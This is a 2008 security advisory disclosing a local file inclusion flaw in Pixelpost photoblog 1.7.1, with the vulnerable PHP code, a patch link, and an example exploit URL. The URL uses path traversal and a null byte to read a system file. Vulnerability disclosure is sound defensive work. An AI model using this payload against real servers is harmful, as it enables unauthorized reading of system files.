DSECRG-08-033.txt

`  
  
Digital Security Research Group [DSecRG] Advisory #DSECRG-08-033  
  
  
Application: Pixelpost photoblog  
Versions Affected: 1.7.1  
Vendor URL: http://www.pixelpost.org/  
Bug: Local File Include  
Exploits: YES  
Reported: 22.07.2008  
Vendor response: 23.07.2008  
Solution: YES  
Date of Public Advisory: 28.07.2008  
Authors: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)  
  
  
  
Description  
***********  
  
Pixelpost photoblog has local file include vulnerability in script index.php  
  
Successful exploitation requires that "register_globals" is enabled.  
  
Code  
****  
#################################################  
  
$PP_supp_lang = array('dutch'=>array('NL','Nederlands'),  
'english'=>array('EN','English'),  
'french'=>array('FR','Francais'),  
'german'=>array('DE','Deutsch'),  
'italian'=>array('IT','Italiano'),  
'norwegian'=>array('NO','Norsk'),  
'persian'=>array('FA','Farsi'),  
'polish'=>array('PL','Polskiego'),  
'portuguese'=>array('PT','Portugues'),  
'simplified_chinese'=>array('CN','Chinese'),  
'spanish'=>array('ES','Espanol'),  
'swedish'=>array('SE','Svenska'),  
'danish'=>array('DK','Dansk'),  
'japanese'=>array('JP','Japanese'),  
'hungarian'=>array('HU','Magyar'),  
'romanian'=>array('RO','Romana'),  
'russian'=>array('RU','Russian'),  
'czech'=>array('CS','Cesky')  
);  
...  
if(isset($_GET['lang'])) { $language_abr = substr($_GET['lang'],0,2); }  
  
foreach ($PP_supp_lang as $key => $row) {  
foreach($row as $cell){  
if ($cell == strtoupper($language_abr)) { $language_full = $key; }  
}  
}  
...  
if(!empty($language_full)) {  
if(file_exists("language/lang-".$language_full.".php")) {  
  
if( !isset($_GET['x'])OR($_GET['x'] != "rss" & $_GET['x'] != "atom")) {  
require("language/lang-".$language_full.".php");  
}  
}else{  
...  
  
#################################################  
  
Example:  
  
http://[server]/[installdir]/index.php?lang=DSecRG&language_full=../../../../../../../../../../../../../boot.ini%00  
  
  
  
Solution  
********  
  
Vendor fix this flaw on 27.07.2008. Security Patch can be downloaded here:  
  
http://www.pixelpost.org/blog/2008/07/27/pixelpost-171-security-patch/  
  
  
  
About  
*****  
  
Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.  
  
  
Contact: research [at] dsec [dot] ru  
http://www.dsec.ru (in Russian)  
  
`